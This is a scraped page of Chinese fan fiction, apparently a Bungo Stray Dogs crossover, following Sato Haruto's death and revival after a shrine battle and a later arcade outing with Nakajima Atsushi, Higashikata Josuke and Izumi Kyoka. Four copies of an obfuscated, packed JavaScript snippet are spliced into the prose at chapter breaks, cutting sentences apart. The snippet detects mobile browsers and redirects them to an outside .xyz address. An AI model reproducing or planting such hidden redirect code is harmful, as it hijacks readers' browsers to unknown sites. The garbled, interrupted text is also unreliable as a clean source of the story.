;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890895|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在他的身边,脸上满是泪痕。 四魂之玉破碎后,维系神社轮回的力量开始崩塌,被夺走的【人性】与【理智】也重新回到了谷守慧的体内。与此同时,已经有妖怪借着结界的破碎开始疯狂向村子的方向逃窜。 “...…” 中岛敦不知道自己究竟该以什么样的表情,来面眼前对残酷无情的现实——毕竟谷守慧没有错,她被神主召唤的【土地神】逼至绝境,目睹了好友死去的她只能向四魂之玉许愿,但四魂之玉并不会真的实现人的愿望,它只是利用谷守慧的愿望,将整个神社变成了一场人间炼狱。 如今神主已经死亡,四魂之玉也已经破碎,分明已经是最好的结局,但不幸仍没有终结,妖怪和咒灵依旧存活在这个世界上,并且开始向附近的村庄逃去。 ——整个世界都将遭殃。 人在极度痛苦的时候,甚至连眼泪都流不出来——同伴的死亡和没有向四魂之玉许愿的愧疚,如同永不消散的阴霾笼罩在他的心头。 要在神社彻底崩塌之前,带佐藤先生回去。 这是中岛敦现在唯一的想法。 谷守慧则呆呆地看着躺在地上的佐藤阳翔,随后忽然爬起身,捡起了那把掉在不远处的长刀。 “小慧...?!” 满脸泪水的少女背对着朝霞,黑色的发丝在风中飞舞。 她露出了一个抱歉的微笑:“对不起...真的...对不起...我一开始...只是想要活下去而已...我没有想过,对那个东西许愿会有什么样的后果。” 中岛敦瞬间意识到她要干什么,然而比他的动作更先一步行动的,却是【土地神】。祂的口中爆发发出了几近竭斯底里的嘶吼——四魂之玉破碎后,谷守慧也失去了无限轮回的力量;然而整个神社的命脉都系在她的身上,一旦她死去,整个神社的妖怪和咒灵也都将消失。 祂暴怒地想要阻止谷守慧的动作,但还是晚了一步。 炽热的鲜血从她的颈部喷涌而出——与此同时,不可战胜的咒灵【土地神】,逃往村庄的妖怪,全都在这一刻化为了虚幻的泡影。 站在谷守慧身边的那两只淡蓝色咒灵,也只是静悄悄地看着她。 “对不起...彩奈...葉...对不起...哥哥...”她凝视着头顶的天空,喃喃道,“还没有好好告别...大家可以...原谅我吗?” 神社的轰鸣终于停了下来,象征着清晨的第一缕阳光照进神社,暖洋洋地洒满了大地。 新的一天,终于开启了。 — 以下是一篇对外出示的报告: “【XX年X月X日 神社案件】 致居民: 辟于发生于xx村神社的案件(公示汇总) 为了保护地区居民的生活与财产,防止地区居民受到媒体骚扰,现将神社中发生的案件作出公示: 发生地点:xx村神社 发现时间:xx年x月x日,凌晨五点 发现经过:某侦探社两名社员调查失联后,同事务所的同事及好友前往神社寻找。 受害情况:1.现场发现两人死亡,一名是侦探社职员;另一名为横滨失踪多日的居民,经在场另一名侦探社职员供述,通过检验已确定系自杀。 2.神社神主无故失踪,在祭具屋的枯井内,找到陈年女性骸骨18具。” 24.第二十四章 46 疼痛,虚无。但意识依旧存在。 佐藤阳翔很清楚,自己的心脏已经被那一击一举贯穿了,血腥的味道尖锐地弥漫口腔,被洞穿的胸口传来凌迟般的钝痛,痛苦正在蚕食自己的身体。 他感觉自己像刚恢复知觉却无法动弹的病人,躺在一片虚无之中。 ——自己应该已经死了。 可是死人怎么会有知觉? 死寂般的虚无中,一道脚步声缓缓逼近。片刻后,佐藤阳翔便感受到了一道打量的目光,不知过了多久,那人开口道:“你的选择真令人惊讶啊。死亡的感觉如何?” 那竟是佐藤阳翔自己的声音。 “......” 佐藤阳翔现在说不出话,并且动弹不得,只能听站在身边的那个人继续用自己的嗓音说着令人讨厌的话:“你以为自己可以改变本就预设好的一切,可惜结局也不过如此——你死去后,世界依旧会运转。“ 他冷嘲热讽地扯起了嘴角,蹲下身俯视着佐藤阳翔——直到这时,佐藤阳翔才看清了对方的五官,分明与自己长得一模一样,但那个人的周身却频频闪过犹如数据洪流一般的蓝色代码。 佐藤阳翔马上反应过来,在与东方仗助见面的第一晚,自己曾经梦到过被毁灭的横滨,火焰与死亡如影随形,一名与自己长得一模一样的人站在火里,用金色的眼眸悲悯地望着自己。 他淡淡地说:“你也看见了,横滨正在前往消亡,如果你想要改变的话,就要付出和这次一样的代价。” 世界毁灭。 哦,好像确实是这样。蓝色传送口出现在横滨,会吃人的不死【恶鬼】于夜晚诡行,还有神社中的轮回炼狱——每一重灾难对于横滨而言,都无疑是灭顶之灾,预兆着某种更加恐怖的未来即将到来。 横滨正在毁灭。 然后呢?关他什么事? 佐藤阳翔并不打算对这种预言作出任何回应。他没有那么伟大,也没有那么热衷于拯救世界,更何况现在的自己已经死了。 ——死人为什么要操那么多心? 佐藤阳翔已经完成了与福泽谕吉的约定。在危急关头代替中岛敦死去,也不是因为他有什么无私奉献的大义——仅仅只是因为中岛敦的异能潜力比自己更强,只有拥有白虎异能的中岛敦才有机会凭借惊人的弹跳力,在【土地神】背后的创面愈合之前,再次赶上那个位置。 仅此而已。 佐藤阳翔费尽全力,终于从喉咙中挤出了声音:“你吵死了,从一开始就一直在说什么‘毁灭’、什么‘决定’,现在和我也没关系吧?” 他已经死了。 而死人是不需要负任何责任的。 “你死了?”周围流窜着代码符号的【佐藤阳翔】用手掌撑着下巴,嗤笑了一声,“虽然我也很希望是这样,但很可惜,你的‘死亡’很快就要到期了。” 哈?你要不要听听看你自己在讲什么? 佐藤阳翔觉得这家伙简直不可理喻,居然把自己的死说得和濒临到期的游戏体验卡一样。然而下一秒,对方的食指便抵上了自己的额头。 “你真是个幸运且招摇的家伙。系统判定你的路人值没能达标,所以你暂时死不了。”他说,“这是不可更改的【规则】,所以【祂】现在应该恨死你了吧——不过,这也意味着你的未来会比现在还要艰难一百倍。” “反抗这样的未来吧,就和你从前一样...” 犹如游戏般的新奇名词钻入脑海,佐藤阳翔只觉得记忆深处好像有一间尘封已久的大门突然被钥匙打开了。他下意识地伸手想要抓住站在自己面前的【佐藤阳翔】,把这些东西都好好地问清楚,但他只抓到了一只温暖的...手? 某种炙热的液体滴落在他的手臂上,佐藤阳翔勉力睁开沉重的眼皮,率先看见的是熟悉的医务室天花板;然后他机械地扭过头,看见守在自己身边的少年,紫金色的眼中蓄满了泪水。 中岛敦不可置信地惊喜道:“佐藤先生,你醒来了?!” 47 死而复生是一种什么样的体验? 佐藤阳翔觉得,说不上好也说不上坏。 率先恢复的是听觉,一阵杂七杂八的乱音漂浮在耳际;然后恢复的是触觉,炙热的液体滴在皮肤上,应该是某人的眼泪;最后恢复的是视觉,强烈的白光刺得他下意识地眯起眼睛,等到数秒之后才能勉强睁开一道缝,打量周围的一切。 中岛敦在佐藤阳翔醒来的第一时间就通知了侦探社的其他职员,但是第一个冲进医务室的人却是东方仗助。他每天都来这里等待佐藤阳翔苏醒的消息,几乎都快成为武装侦探社的编外职员。 涌进来的侦探社职员们将病床围了个水泄不通,直到与谢野晶子确定他的身体无虞后,众人才松了一口气。 “这一次真是吓死我了!”东方仗助瘫坐在床边,肩膀也骤然塌了下来,他这才长呼了一口气,“大家都以为你真的死了。” 时间倒回佐藤阳翔死去的前夜。由于结界内鏖战与动乱的发生,谷守慧并没有再开放允许外人进入神社的通道,导致东方仗助一行人一直在原地绕了半天,都没能找到通往神社的小路。 就在东方仗助与国木田独步都觉得奇怪之际,太宰治突然拾起了地上的石块,朝着草坪突然掷出,这下才暴露了从刚刚起一直鬼鬼祟祟跟着他们的影子。 见跟踪者是当地村民,并且行迹鬼祟,面对盘问也支支吾吾,最善于从别人口中撬出秘密的太宰治笑眯眯地展现了一点特殊的手段——幸运的是,同行者东方仗助的替身【疯狂钻石】恰好拥有着治愈的力量。 在“友善问话”结束后,太宰治简单地将村民的话总结提炼了一下:“...所以,当地的居民都不敢靠近神社的原因,是因为他们的【土地神】会吃人?” 国木田独步拧起眉头:“恐怕还不止于此吧。这家伙鬼鬼祟祟地跟着我们,说是想要为我们引路,实际上只是想把外地人供奉给【土地神】吃掉而已。” 这样一看,佐藤阳翔和中岛敦的情况就危险了。 但前往神社的通路却迟迟不出现,三人只好打着瞌睡蹲守了一夜,直到一声巨大的轰鸣将他们吵醒,三人这才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894615|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现通往神社的石阶重新打开了。 然而,他们率先见到的却不是中岛敦他们,而是一群如同黑色浪潮般的妖怪。它们有的形似蜈蚣,有的形似蛆虫,甚至还能在空中游弋,对人类展现出了激烈的敌意。 为了防止村子遭殃,三人不得不暂缓寻找佐藤阳翔和中岛敦下落的计划。但妖怪的来袭并没有持续多久,它们又在一眨眼间奇迹般地消失了。 太宰治判断中岛敦他们可能已经完成了任务,但东方仗助的心脏却莫名突突跳个不停——诡异的妖怪与轰鸣声虽然都消失了,但一种不好的预感却始终缠绕在他的心头。 三人最终在坍塌的神社中,看见了背对着他们瘫坐在地上的中岛敦。 现场只剩下激烈打斗的痕迹,空荡荡的参道中,鲜血非常扎眼。谷守慧的尸体已经只剩下残存的余温,既便是【疯狂钻石】也无法让死去之人再度复活——只能从她平静的表情和手中的那柄长刀判断,谷守慧应该是死于自刎。 国木田独步在摸过她的脉搏后,发出了沉重且无可奈何的叹息,然而东方仗助却看着她身旁的那把长刀,喉咙中突然挤出了干涩的声音:“...喂,阳翔他人呢?” 中岛敦麻木且迟钝地回过头,露出盛满泪水的无神双眼。 他的怀里,死去的青年正静悄悄地躺在他的膝上。他的胸口被某种强大的力量轰开了一个大洞,心脏也不翼而飞,鲜血已经氧化,只留下了十分恐怖的创面,昭示着青年的死亡。 无论东方仗助发疯般地使用【疯狂钻石】治疗多少次,那道创面也也不会再愈合。 ——佐藤阳翔已确认死亡。 既便再不想相信,但谁都只能承认这个血淋淋的现实。 然而,就在佐藤阳翔下葬的前一晚,医院却突然传来了急讯,负责管理太平间的医生慌慌张张地在电话另一头说,尸体胸口的创面忽然愈合了,他们甚至还听见了死者微弱的心音。 这件事的影响非同小可,把当晚值班的医生吓得半死。武装侦探社在第一时间就把佐藤阳翔又接了回来,与谢野晶子也确定了佐藤阳翔的生命力确实在以一种极为怪异的方式逐渐回流,除此之外她还诧异地发现,他的生命力竟然完全不受【请君勿死】与【疯狂钻石】的影响。 就像一株钻出地面的小草,坚强得让人难以置信。 直到今天,佐藤阳翔才彻底由死转生,曾经被咒力击碎的心脏如今居然好端端地在他的胸腔中跳动。 醒来的佐藤阳翔面对众人的询问,很是心大地表示自己什么感觉都没有,好像只是普通地睡了一觉而已。 “无论如何,你阻止了一场浩劫的诞生,在关键一刻舍身相救,保护了你的同伴。” 站在病床最前面的福泽谕吉,脸上依旧保持着那副威严且处事不惊的神情。他居高临下地看着刚从床上坐起身的佐藤阳翔,眼中倒映出青年憔悴的身影,“你誓言的重量,我已经看见了。” 站在一旁的太宰治也露出了一个微笑:“意思是——你已经通过入社测试了哦。” “欢迎加入武装侦探社,佐藤君。” 25.第二十五章 48 新的一天,天气不算好也不算坏。 佐藤阳翔今早照例是在东方仗助的锁喉中醒来的——这家伙完全把他之前的话当成了耳旁风,被踹了就道歉,被骂了就打哈哈,久而久之,佐藤阳翔惊恐地发现,自己好像已经开始习惯了这样的生活。 “喂阳翔,你要咖啡吗?” 刚拿发胶和梳子打理好发型的东方仗助回过头,语气自然得简直就像回到自己家一样,一手拿着咖啡壶,一手拎着刚烤好的吐司塞进自己嘴里,声音含糊不清的。 “好,那就麻烦你了。” “方糖也要加到满对吧?那我放下去咯。” 然后就是一串方糖撞击杯壁的声音。 洗漱好的佐藤阳翔极其自然地接过甜甜的咖啡,和东方仗助一起站在窗前,望着光秃秃的街道发出了惬意的叹息。 “今天也是风平浪静的一天啊。” “是啊。”佐藤阳翔微微眯起眼睛,像猫晒太阳一样享受着难得的悠闲时光。 说实话,佐藤阳翔自从由死返生后,总有一种自己已经活了大半辈子的错觉,好像一切惊险难忘的过去都发生在遥远的上个世纪——然而,现在距离东方仗助来到横滨其实也才半个月左右,其中超过一半的时间,佐藤阳翔都是在“死亡”状态下度过的。 那半个月简直刷新了他的世界观。 上个周的佐藤阳翔刚复活,其他同事也不太好把沉重繁缛的工作任务交到他手上,基本只打发他去干一些简单的活计。 中岛敦更是对他好过了头,大概是想要尽力补偿佐藤阳翔在神社中的舍生忘死,不仅抢着帮他干活,甚至还请他连续喝了一个周的咖啡,那股殷勤劲让人不由得幻视摇着尾巴的犬类生物。 于是打赢复活赛的佐藤阳翔,成功获得了一个周的入职缓冲期。 虽然佐藤阳翔在上周过得很爽,但平心而论,他的美好生活已经一去不复返了——因为万恶的坐班制度——不管他手头到底有没有工作,都要准时准点起床,并在上班时间抵达武装侦探社事务所,开启社畜每天的摸鱼生活。 东方仗助偶尔会陪他一起来,但他毕竟不是武装侦探社的职员,所以他绝大部分时间都待在家里,或者外出和大野光极一起出去玩——大野光极这段时间也和他混熟了,两个人天天泡在柏青哥店里,还偷偷把账记在佐藤阳翔头上,最后成功一人挨了一屁股踹。 “今天是周末,你不用上班吧,要不要一起出去玩?”喝完咖啡,东方仗助提议道,“毕竟你从神社回来以后,我们还没好好一起出门玩过呢。” 佐藤阳翔“唔”了一声,简单翻了一下订阅的横滨周报,问:“要去新开的游戏厅吗?” 元町商业街上周最新开了一家占地面积巨大的游戏厅。为了招揽顾客,游戏厅在报纸上刊登了广告,还开放了限时折扣优惠,一起去的人越多,门票的费用就越低。东方仗助倒是没有异议,只要能和佐藤阳翔呆在一块就行,更何况钱也不是他出。 然而,就在佐藤阳翔和东方仗助打算出门的时候,一个电话突然打了进来。 佐藤阳翔原以为是大野光极打过来的电话,毕竟除了他以外,也没有什么人会主动联系自己。但他一接起话筒,就听见电话那头传来了少年有些紧张的声音:“请问,是佐藤阳翔先生吗?” 居然是中岛敦。 “找我有什么事吗,少年?”佐藤阳翔瞬间警惕,“你别告诉我武装侦探社就连周末也要上班,那我一定会去找商会投诉的!” “那个...不是工作上的事啦。” 中岛敦在电话另一头卡了一下,他的面前站着正对他竖起大拇指的泉镜花,于是他又深吸了一口气,有点紧张地继续说了下去,“我记得佐藤先生上周说过喜欢打游戏吧?那个...元町商业街好像开了一家新的游戏厅...” “我说过吗?噢,好像是说过...” 上个周——具体已经忘记是哪一天了——佐藤阳翔在和事务所同事聊天时,偶然提起了自己在休息时的规划:“我没事干的时候都会干什么?啊,倒也没干别的事,我在休息日基本都泡在游戏厅里刷记录。” “唔,真令人惊讶呢。”与谢野晶子抱胸靠在座位上,挑眉露出了一个有些捉摸不透的表情,“我还以为阳翔君是那种休息日会经常和别人出去约会的类型。” 毕竟这家伙长了一张很有欺骗性的脸嘛! 佐藤阳翔一想起大野光极为了和女性告白而在自己面前念叨八百回的场景,以及那一长串的约会准备清单,不太美好的回忆让他有点PTSD:“...我还是算了吧,和别人约会太麻烦了。” “啊啦,难道你没有正在暧昧的对象吗?”与谢野晶子惊讶,“我还以为你是那种会规划每周和哪个暧昧对象约会的人呢。” ...这又是什么花心渣男的刻板印象啊?! “我就当与谢野小姐是在夸我帅好了。”他叹了一口气,“如果有人愿意和我去游戏厅刷记录的话,那这种约会我也愿意。” “哈,哪有人约会的时候会干这种事啊?” ...... ——总而言之,有关休息日消遣和暧昧对象的话题就到这里戛然而止了。佐藤阳翔一直以为自己只是随口一说,完全没有想到中岛敦会突然提起这件事。 “我是打算和仗助一起去来着。”佐藤阳翔一手推开东方仗助想要凑过来听电话的脸,“你也要一起吗?” “啊...佐藤先生原来已经和东方君约好了啊。” 中岛敦有点慌张地挠了挠后脑勺,他本来是想约佐藤阳翔一起去的,就连借口都找好了,本来想说借此报答他救命的恩情,但约会的时间和地点都和东方仗助撞在一起,那就不由得显得有点尴尬了。 “既然佐藤先生和东方君已经约好了的话,我还是不打扰你们了,等下...” 就在中岛敦即将推脱说“下次再来”的时候,他手里的手机却突然被泉镜花夺走了。 “镜花酱?!” “镜花?”佐藤阳翔听见电话那头传来一阵窸窸窣窣的响动,在听见中岛敦手足无措的惊呼后,少女清脆的声音重新在电话另一头响起。 “你好,我是泉镜花。”她面不改色地说,“我们能和你们一起去游戏厅吗?四个人的话,门票会便宜很多。” “稍等,我和仗助说一声。” 佐藤阳翔掩住话筒,抬头问在一旁等待的东方仗助,“镜花和敦想和我们一起去游戏厅,四个人的话门票会很便宜,你觉得怎么样?” 听到中岛敦和泉镜花一起过来,东方仗助倒没意见:“我都可以啦,毕竟我的门票也是你付啊。” 佐藤阳翔移开手,对另一头说道:“仗助说可以,那我们就一起去吧,十点在那家游戏厅的门口碰面哦。” 49 中岛敦完全没有想过泉镜花会突然夺走自己的手机。 要问她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909758|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么会出现在中岛敦的宿舍,还要从佐藤阳翔“死”后说起。 大概是觉得佐藤阳翔确实是个信守承诺的人,所以在他“死”后,福泽谕吉社长特别收留了泉镜花。 由于佐藤阳翔已经“死去”,所以本来要留给他的宿舍,也被挪给了泉镜花使用,镜花虽然不太擅长处理要和外人打交道的工作,但总归还算靠谱沉静,侦探社的大家都很喜欢她。 佐藤阳翔“复活”后也并不打算住宿舍,便直接让泉镜花在宿舍里安稳住下了。她的房间就在中岛敦的隔壁,两人平常的交流也不少。 作为一名靠谱的未成年人,她前几日一眼就看穿了中岛敦正在为什么事而烦恼。 于是她直接问:“你想约佐藤先生出去吗?” 她说这句话的时候,侦探社恰好到了下班的点——中岛敦差点被她这句话吓得半死,慌慌张张环视了一圈,确定没有人注意到这里的动静后,便慌慌张张地把泉镜花带回了自己的宿舍,进门的时候甚至是同手同脚进来的。 “镜...镜花酱怎么知道的?!”中岛敦震惊。 “你最近一直在关注佐藤先生,我看见你的位置上有一张周报,有关游戏厅的地方还被圈起来了。” 泉镜花每说一句话,中岛敦脸上的尴尬与红晕就加剧一分,到最后干脆将整张脸都埋入了掌心里。 她只好问:“对不起,是我多管闲事了吗?” “不,这都是我的错。”中岛敦捂住脸,觉得羞愧万分,“已经...明显到连镜花酱都看出来了吗?” 泉镜花眨了眨眼睛:“我没有和别人说。报纸也已经帮你藏起来了。” 中岛敦直到这时才解脱般的长呼一口气:“...谢谢你,镜花酱。” “你喜欢佐藤先生吗?”她侧过脑袋,问道。 “欸?!喜欢什么的...这个...这个...我觉得佐藤先生实际上是个善良的人...” 面对少女研究的目光,中岛敦实在难以启齿内心的想法——但即使他的话说得没头没尾的,那犹如番茄般的脸色也足矣说明一切。中岛敦从小到大都过得很狭隘——他的幼年与少年时期都是在孤儿院遭受欺凌的环境中度过的,直到加入了武装侦探社,自己才开始一点一点接触外界。 所以,他自己也分不清什么是喜欢,什么是感激,只知道在佐藤阳翔“死”后,自己常常在梦里梦到他被咒力贯穿的那个场景,佐藤阳翔复活后,自己对他的无意识关注也达到了顶峰。 这应该只是很感激对方的救命之恩...吧? 可是为什么和佐藤阳翔接触的时候,心脏跳动的速度却又快得惊人呢? “我明白了。”泉镜花垂下了冰蓝色的眼睛。 就在中岛敦以为事情就会这么结束的时候,她突然从和服的裙摆下掏出了一把寒光凛冽的匕首:“那我就帮你除掉佐藤先生周围可能存在的暧昧对象吧,这样他就只能和你在一起了。” 中岛敦大惊失色:“镜花酱,你不要冲动啊!” 在她当初打算与炸弹同归于尽之时,是中岛敦将她带离了黑暗,把她带到了光明的地方,因此,泉镜花是尊敬他的——同样的,她也想要为中岛敦做点什么事,只是她除了暗杀外什么都不会,所以如果他喜欢的人是佐藤阳翔的话,她只能想到这个办法。 暗杀的办法被拒绝后,泉镜花又换了一个思路,她认真地说:“——那就直接约佐藤先生出去吧,我会尽量帮你的。” 26.第二十六章 50 上午十点,元町商业街挤满了人。今天是周末——横滨学生和社畜难得的共同假期,新开的那家游戏厅门口已经排起了长龙,等佐藤阳翔与东方仗助赶到的时候,中岛敦和泉镜花已经在门口站了好一会儿了。 在拥挤的人群中,东方仗助的发型和身高都尤为扎眼,中岛敦一眼就看见他那头标志性的紫黑色牛排头,立即欣喜地高举起双手,边呼唤边朝人群中央的两人靠去。 “东方君,佐藤先生!” 然而,中岛敦一走近才发现,两人已经被前来要联系方式的女性围了个水泄不通。 东方仗助本身就是混血长相,五官英挺,眼眸深邃,瞳色还是碧海的湛蓝色,在杜王町小镇就一直受欢迎的女人缘,理所当然地一路延续到了横滨。 佐藤阳翔今日也没有再穿那件千篇一律的白色衬衫——他换了一身打扮,身上简单套了一件黑色的卫衣。耳垂上的耳钉在阳光下格外闪亮,大概是为了防止刘海挡住视线,右侧的碎发都被他用银色的夹子随意捋了上去,乍然一看还以为是来拍休闲画报的模特。 两个人就像正处风暴中心的风眼,能够自动辐射吸引方圆五米内的单身女性。 “唔啊,完全过不去啊...”中岛敦挤了半天也没挤进去,眼看泉镜花又打算拔出匕首,为了防止流血事件的爆发,慌慌张张地又带着她退回到了边缘,“没事的镜花酱,我们还是再等一等吧——” 他的话还没说完,从拥挤的人群中突然伸出了一只手,紧紧握住了中岛敦的手腕;中岛敦则有些愕然地看着突然钻出人群的佐藤阳翔,搞不懂他是怎么出现在这里的。 佐藤阳翔在和泉镜花打了个招呼后,才说:“你们两个原来在这里啊,我们快点进去吧,不知道究竟还要排多久。” “可是仗助君...” “别担心,他很快就会过来的。” 果然,五分钟之后,一脸幽怨的东方仗助终于离开了女孩子们堪称恐怖的围攻——佐藤阳翔刚刚居然缺德地使用了异能,直接和站在外围的一名少女调换了位置,害得东方仗助还一不小心牵错人了,只好一边道歉一边从人海中挤出来。 “你居然把我一个人扔在那里,还制造了一场乌龙!要走怎么不和我说一声啊!” 罪魁祸首佐藤阳翔无所谓地耸了耸肩膀:“这有什么关系嘛,说不定你的恋情就是从这样的乌龙开始的。” “哈?!我才不要——” 他们又排了十分钟,终于轮到了进场的机会。四个人一起的门票果然便宜很多,一进去就看见了琳琅满目的游戏机。佐藤阳翔与东方仗助来到这种地方就和掉进米缸里的老鼠一样,一会儿说要去玩投篮机,一会儿又说要去玩枪战游戏。 “可是我们有四个人欸。”佐藤阳翔收起兴奋的表情,沉思道,“有什么是可以四个人一起的吗?” 他说着,目光无意识飘到了一旁花花绿绿的街机游戏上,惹眼的“四人大乱斗”字样吸引了他的注意力,于是四人一合计(其实主要是佐藤阳翔与东方仗助),当即决定先从街机游戏开始,迈出征服游戏厅的第一步。 “四人大乱斗”是一款在去年发行的格斗游戏,四人可组成两队,在复杂多变的地图中进行战斗——相较于传统格斗游戏,这款游戏更有趣的一点就是在组队的同时增设了“反水”选项,四人随时都可以结盟、反水,赢下游戏的唯一标准就是站到最后。 这可是赌上人格信用以及游戏技巧的决斗! 在游戏正式开始之前,最重要的当然是做战前准备。佐藤阳翔与东方仗助这两个游戏老手自然不着急,中岛敦和泉镜花这两名此前几乎没有接触过街机游戏的新手才最为吃亏——为了不拖别人的后腿,中岛敦认认真真地将新手指引连过了两遍,然后才听见背后传来佐藤阳翔认可的声音:“很认真嘛,少年!” “欸?!佐藤先生?” 佐藤阳翔凑到他身边,温声鼓励道:“不要担心,如果我们能分到一组的话,我会好好教你的,一定要相信自己啊。” “谢...谢谢。” 现在他们的距离实在太近了,中岛敦几乎只要侧过头,嘴唇就能碰到青年的脸。他的耳垂几乎在意识到这一点的瞬间就开始涨红,话都说得磕磕绊绊的,东方仗助却在旁边看得莫名不是滋味。 阳翔这家伙又在对别人使坏了! “我说,你也太狡诈了吧。”东方仗助忍不住直接戳破了佐藤阳翔的友善外壳,“哪有人在游戏开始前就偷看别人操作的——你肯定是打算等开局匹配到新手就反水吧?!” “四人大乱斗”开局的第一次组队完全是随机抽签——如果队友的操作太烂,以佐藤阳翔的性格绝对会第一时间就反水。 “你不要把我想得这么坏啊!”佐藤阳翔板起脸,很严肃地说,“我是这种人吗?再说了,开局反水又不代表我人品有问题,我们要有游戏精神...” 中岛敦:“......” 都说人不能在一个地方跌倒两次,但他已经被佐藤阳翔骗过两回了——第一次是他骗自己在港口mafia当干部,第二次是他借着鼓励之名偷看自己过新手教程——而且中岛敦每次中招都浑然不觉,还上赶着跳进佐藤阳翔编织的陷阱里。 这怎么不算是一种另类的命中注定呢? “快点回到位置上来,你不是说这是‘赌上人格信用’的决斗吗?”相较于佐藤阳翔,东方仗助勉强能算作一个比较正直的人,他直接打断了这家伙想要继续偷看泉镜花操作的打算,“别耍滑头了阳翔,让我们用游戏技巧来一决胜负吧!” “哈,看来你还是个稚嫩的孩子,完全不知道什么叫做战前战术嘛。”佐藤阳翔被戳穿了计划也完全不觉得羞愧,“听好了仗助,让我这个成熟的成年人来给你上一课:只有做好周全准备了,胜利才会主动地跃入口袋——技术只不过是微不足道的一小部分!” 不错,佐藤阳翔的所谓“战前战术”:读作知己知彼 ,写作偷看操作。 佐藤阳翔其实一点也不担心:毕竟他对东方仗助和中岛敦的技术和为人都有一定的判断——如果匹配到中岛敦,看对方那副老老实实的样子就知道,他反水的可能性肯定很小;如果匹配到东方仗助,那二人光靠技术也能轻轻松松压倒身为新手的敌人,并没有反水的必要。 他有三分之二的概率能够在开局就掌控局面,优势在我——然后就是等待系统分配阵营,将胜利收入囊中! 当然,东方仗助和中岛敦本身就想和佐藤阳翔组队——表面上是为了胜利,实际上暗暗赌上了求偶的尊严。泉镜花则在角落静悄悄地看着不知何时已经悄然形成三角之势的几人,冰蓝色的眼瞳里掠过了一丝惊讶。 随着时间流逝,赛前准备阶段也即将过去。随后,“四人大乱斗”正式开始。 ——走向胜利的结局就在这里开启! 屏幕上迅速出现两行消息。 【组队分配】: 一组:东方仗助、中岛敦。 二组:佐藤阳翔、泉镜花。 “......” 沉默,除此之外还是长久的沉默。 东方仗助与中岛敦透过游戏机的缝隙,有些错愕地面面相觑。 原以为能胜天半子的佐藤阳翔:“...哈哈。” 哇,三分之一的概率欸。 运气完全是差到爆炸啊! 51 随着一声尖锐的哨音,标志着红蓝两组的小人刷新出现在屏幕两侧。本次比赛的地图很宽广,设置在一间有些复杂的日式町屋中,幸而两组小人在正式碰面前需要穿过复杂的障碍物,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916764|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这意料之外的分组多留出了一个粗糙的准备时间。 事到如今,只有先一鼓作气了! “别担心,镜花。”佐藤阳翔深吸一口气,迅速调整了一下进攻策略,决定先看看泉镜花的技术手法再做打算,还在队友频道安慰她道,“这样,我们先找个建筑物躲起来吧,别急着和他们硬杠...” 然而,还不等他的话说完,一记突如其来的冲拳便朝着他所控人物的额面险险擦过。 屏幕上飘过一行红色小字: 【您的队友·泉镜花已反水。】 泉镜花所控人物的身上瞬间亮起象征“背叛者”的灰色光芒,不等佐藤阳翔反应过来,她操纵的角色就灵活地钻入了附近的建筑物中——这突如其来的变故把佐藤阳翔吓了一跳。 泉镜花的声音从对面不急不缓地传来:“我现在已经不是佐藤先生的同伴了,不要忘记我们最初的目的。” 中岛敦一下子意识到,这句话是镜花对自己说的。 她在游戏里的反水,本就可以通过角色身上的颜色反映出来,但她选择在现实里当着所有人的面说出这句话,其目的正是在于提醒中岛敦——不要忘记今早邀请佐藤阳翔来到游戏厅的目的。 她既然说过要帮中岛敦,就一定会尽力做到。 ——她是故意空出队友位置的! 中岛敦对她的助攻感到衷心的感激。可是,还不等他纠结要不要在这个时候和东方仗助反水,面前的屏幕前便闪烁了一下象征角色受击的红光,右上角的生命条也跟着下降了一小截。 【您的队友·东方仗助已反水】 “抱歉啦敦!” 东方仗助当机立断,抢先一步做出了选择——只要他能赶在中岛敦之前和佐藤阳翔组队,那么接下来的局面就基本掌控在二人手中了。但他没想到,佐藤阳翔居然直截了当地拒绝了自己的结盟申请。 “喂阳翔,你到底在干什么啊?”东方仗助震惊,“我们两个联合起来才是最强的吧,你不打算和我结盟吗!” 